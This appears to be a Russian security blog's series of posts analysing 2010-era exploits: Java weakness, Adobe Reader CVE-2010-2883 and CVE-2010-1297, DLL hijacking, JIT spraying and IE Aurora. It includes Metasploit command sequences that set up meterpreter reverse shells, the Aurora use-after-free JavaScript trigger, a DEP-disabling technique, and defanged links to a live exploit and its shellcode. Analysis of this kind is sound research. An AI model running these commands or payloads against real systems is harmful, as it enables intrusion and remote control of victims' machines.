Насколько защищены современные браузеры?

Недавно мне попалась на глаза интересный доклад от Dino Dai Zovi "Attacker “Math” 101", в которой нашлись очень здравые схемы демонстрирующие ответ на этот вопрос. По нашей статистике, что я уже не однократно отмечал, беспрецедентное лидерство про проникновению имеют java эксплойты. А ответ почему, как раз наглядно проиллюстрирован на следующей схеме:

Собственно, что из этого следует, основная мысль в том, что реализация java платформы по прежнему не использует механизмы противодействия эксплуатации и является слабым звеном, не смотря на все новомодные "песочницы" и прочий стаф. Если из этой цепочки исключить java, то все становится значительно сложнее для злоумышленников:

А вот, что бывает после обхода "песочницы":

Проверить насколько актуальна ваша версия Java-плагина можно, к примеру, при помощи сервиса SurfPatrol от PT.

Опять Adobe накосячил (CVE-2010-2883)

На прошлой неделе был обнародован очередной 0-day для Adobe Reader (CVE-2010-2883). На этот раз повинна оказалась CoolType.dll, которая отвечает за парсинг True Type Font. Уязвимость проявляется при обработке шрифта с неправильной SING таблицей. В функции обработки есть вызов небезопасной синшной функции strcat(), которая при определенных условиях приводит к переполнению на стеке.

0-day by design (Security Advisory (2269637))

На прошлой неделе появилась информация о найденной новой концептуальной уязвимости позволяющий выполнить произвольную динамическую библиотеку, путем подмены ее легального экземпляра. Эта информация появилась от автора Metasploit HDmoore и он сразу приводил пример работы этой уязвимости с iTunes. Народ задергался и понял, что пахнет архитектурной брешью, правда все и так о ней знали уже хрен знает сколько времени и чего задергались все только сейчас непонятно (причем даже MS знал уже не один год об этом). Я в нашем посте на хабре достаточно подробно описал саму уязвимость и возможные пути решения проблемы, но некоторые мысли еще остались и для собственного бложика :)
В последнее время мы наблюдаем уже второй 0-day (первый, история с Lnk) с найденной архитектурной ошибкой, by design так сказать. По своей структуре обе эти уязвимости довольно похожи. Такого рода уязвимости закрываются значительно дольше, да и время жизни эксплуатации таких уязвимостей не сравнимо. Не говоря уже о том, что не нужно заморачиваться со всякими DEP и ASLR. А в данном конкретном случае уязвимыми являются достаточно большое количество приложений. Но вот действительно удивляет то, что MS сама не использует свои  best practices при разработке. Уже появился PoC для Word и PowerPoint. Ну, а generic exploit в составе Metasploit вообще шикарен. Пример эксплуатации:

msf use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "txt"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 6666
msf exploit(webdav_dll_hijacker) > set LHOST
msf exploit(webdav_dll_hijacker) > exploit


P.S.: Как оказалось даже существуют научные работы ("Automatic Detection of Vulnerable Dynamic Component Loadings") по поиску решения этой проблемы.

Adobe ≠ безопасность или "долгоиграющий" 0-day

На протяжении всего текущего года компания Adobe уже не раз нас радовала серьезными уязвимостями, которые влекли за собой возможность удаленного выполнения произвольного кода. В этот раз очередной "шедевр" (CVE-2010-1297) был связан с уязвимостью в Adobe Reader и некоторыми особенностями обработки встроенных в pdf флеш-роликов. Многие уязвимости в продуктах Adobe (CVE-2010-129 входит в их число) могут эксплуатироваться не только на платформе windows, но на многих других, на которые они официально подставляются. Другое дело, что провести успешную атаку эксплойтом на одних плотформах проще, а на других сложнее. Сама Adobe не спешит выпускать заплатку для этой уязвимости и она запланирована только на конец июня, получается, что пользователи продукции этой компании подвержены риску почти на протяжении целого месяца. На мой взгляд для столь массовых продуктов это просто не допустимо. Ну, а теперь давайте рассмотрим саму уязвимость.
Итак, уязвимость находиться в модуле authplay.dll, при обработке специально сформированного SWF. Корнем зла на этот раз оказался тег DoABC, использующийся при вставке swf в pdf-файлы. Во вредоносном SWF-файле заменен всего лишь один опкод, но именно он и приводит к ошибке. Оригинальный байт-код 0x66 (GetProperty) заменен на 0x40 (newfunction).

Судя по всему уязвимость была найдена с применением методов фаззинга файловых форматов.
Но выполнению SWF предшествует heap-spraying, используется для обхода DEP.



В итоге мы получаем ret2lib в BIB.DLL, после чего начинается выполнение шелл-кода. Подобная техника обхода DEP была использована в нашумевшей атаке codname: Aurora. Сейчас она приминяется очень часто в различных эксплойтах.

Для того чтобы попасть в библиотеку BIB.dll используются техники return-oriented programming (ROP), недостаток этого метода в достаточно длительном времени работы. Например, публичный эксплойт на CVE-2010-1297, опубликованный в рамках Metasploit. Оказался очень медленным и нестабильным в работе.
На днях была опубликована программа BH'2010 USA та, что проводиться в Вегасе и на ней было замечено достаточно большое количество докладов посвященных ROP. Конец лета будет интересным :)

Напоследок небольшая демка, которую я записал для корпоративного блога, но мне она нравится и пожалуй продублирую ее здесь тоже :) На ней отчетливо видно, как не быстро отрабатывает ROP shellcode (из Metasploit'а работает как минимум в двое медленее). В качестве сандтрека была взята заглавная тема к фильму Pi.

Материал по теме:
Подробное исследование от Zynamics
Исследование от Symantec
Исследование от Websense

JIT spraying или новые техники обхода ASLR и DEP для IE8

В этом месяце на конференции Black Hat 2010, традиционно проходящей в это время года, был представлен интересный доклад "Interpreter Exploitation: Pointer Inference and JIT Spraying". В этом докладе рассматриваются новые методики проведения атаки heap spray на указатели на объекты ActionScript находящиеся в памяти VM при проигрывании Flash-видео. Обход ASLR тут заключается в том, что при создании большого количества похожих объектов в памяти Flash VM нам становится проще ориентироваться в памяти, так как она уже становится не настолько рандомизированной.


Сегодня компания Immunity объявила о выпуске новой версии своего основного продукта Immunity CANVAS, в составе которого есть Aurora IE сплойт для Win7, использующий как раз технологию Flash-JIT-Spray.
Ниже привожу видео в Black Hat демонстрирующие работу технологии Flash-JIT-Spray на Vista SP2 и IE8.


Презентация
Статья

Update:
Интересную статью по теме выложила у себя в блоге компания Fortinet (JIT Spraying in PDF).

DEP и CVE-2010-0249 (codname: "Aurora")

Microsoft таки созрела для выпуска незапланированного обновления и оно должно сегодня стать доступным для скачивания, ориентировочно в 21:00 по msk. Но интересно другое, в MS признали факт опасности этой уязвимости только после появления полуприватного эксплойта работающего в обход DEP. Не менее интересно и то, что MS ранее говорила о том, что с включенным DEP всем будет счастье, но минуточку, методы обхода DEP были известны еще в 2005 году. Но только резонанс в СМИ и негодование в сообществе специалистов по ИБ, все-таки сподвигло MS к незапланированному обновлению. Интересная у них позиция получается нет эксплойта нет проблемы, так получается.

DEP можно отключить, если вызвать недокументированную функцию NtSetInformationProcess(), которая живет в ntdll.dll. Вызывать нужно конечно же задав интересующему нас параметру ProcessExecuteFlags значение ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE. Все параметры для NtSetInformationProcess выглядят следующим образом:

Правда надо заметить, что Vista и Win7 с двумя костылями DEP+ASLR, пока не скомпрометированы этим эксплойтом. Но все же пока пользователей XP подавляющее большинство, эта отговорка со стороны MS не принимается.

Забавно, но число посетителей этого блога, использующих IE сильно возросло за прошедшие сутки:

Видимо пользователей IE найденная уязвимость действительно беспокоит :)

А сегодня еще была замечена буря негодования по поводу 0-day длинною в 17 лет, речь идет об уязвимости в Virtual DOS machine (VDM), которая подвергает опасности все 32-битные ОС Windows (правда только локально). Кому интересно сплойт этого "динозавра", он есть здесь.

Правда мне всегда казалось, что об этой уязвимости всем давно известно, да и на публике она упоминалась не раз. А тут вдруг столько шуму подняли в СМИ, видимо решили нагнать еще страху после сплойта для IE.

Подробнее об уязвимости CVE-2010-0249 (codname: "Aurora")

Большой резонанс в СМИ вызвала уязвимость CVE-2010-0249, антивирусные компании не перестают смаковать факты об этом инциденте. Но на самом деле так ли опасна эта уязвимость?
Ведь атака heap spray, которая осуществляется в рамках обнаруженных боевых эксплойтов, не может корректно отработать при включенном DEP на IE7 и IE8. По умолчанию DEP активирован на:
· Internet Explorer 8 на Windows XP Service Pack 3
· Internet Explorer 8 на Windows Vista Service Pack 1 и выше
· Internet Explorer 8 на Windows Server 2008
· Internet Explorer 8 на Windows 7
Таким образом количество потенциально возможных жертв сильно сокращается, даже если они перейдут по вредоносной ссылке, то не факт, что эксплойт отработает как надо.
Судя по статистике посещений сервиса Яндекс.Метрика пользователи с IE этот блог не посещают, так что если вы читаете это сообщение можно считать, что вы защищены :)


Суть уязвимости CVE-2010-0249 заключается в неправильной обработки памяти в библиотеке mshtml.dll, а точнее там осталась "подвешенной" ссылка на объект. Злоумышленник может используя JS получить доступ к этому участку памяти следующим образом:
- При помощи вызова document.CreateEventObject() мы получаем доступ к уязвимому объекту
- После этого вызываем document.getElementById(), что убить в памяти бажный объект, но JS-engine от MS все еще дает возможность получить доступ к освобожденной памяти, пока она не занята
Эксплуатировать уязвимость получается из-за доступа к памяти srcElement, при помощи метода CEventObj::GenericGetElement из библиотеки mshtml.dll, которая пытается получить доступ к зачищенному объекту при помощи CElement:: GetDocPtr.

В сплойте это выглядит собственно так:
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
Во всем виновато обращение к изображению:
id="sp1"
src="aurora.gif" onload="ev1(event)"

Посмотреть на эксплойт на питоне можно здесь

Update:
Virustotal показывает, что спустя неделю еще не все обнаруживают этот сплойт.
Кому интересно посмотреть на боевой, то он пока лежит здесь:
hxxp://xx222.8866.org:2988/dz/ie.html (exploit)
hxxp://xx222.8866.org:2988/dz/what.jpg (shellcode)

Update2:
Стало известно о появление переработанного эксплойта, умеющего обходить DEP на XP SP3 и успешно атаковать пользователей с IE 7/8. Но все же DEP+ASLR, пока еще являются серьезным препятствием.

Очередной 0-day для IE, codname: "Aurora"

Только MS успела провести первый этом году Patch Tuesday, как сразу после этого (15.01.2010) Secunia выпустила бюллетень "Microsoft Internet Explorer Arbitrary Code Execution" в котором рассказывается о 0-day уязвимости, причем характерной для всей линейки IE начиная с шестого. В бюллетени речь идет об ошибки из-за не правильного разыменованого указателя, который после освобождения всеравно позволяет получить доступ к объекту. MS завела соответствующий Advisory (979352) и сообщила всему миру в одном из своих блогов, что пользователи Win7 с IE8 не уязвимы полюбому (DEP is enabled by default in IE 8) :)
Сейчас эксплойт уже доступен в составе баз Metasploit и доступен к использованию:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

На сам сплойт можно посмотреть здесь.
Вот подробное видео с иллюстрацией его работы:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.

Результаты анализа боевого сплойта в песочнице Wepawet: http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
Что-то не много его антивирусов на сегодняшний день детектит: http://www.virustotal.com/analisis/0793e8d10671762492091a9332b13321437977965e718761f5ef2c2ef298464a-1263646443

Update:
Код эксплойта на python

Update2:
Видео с работой эксплойта под разными версиями браузера IE (6/7/8) на XP c SP3:

Internet Exporer 6


Internet Exporer 7


Internet Exporer 8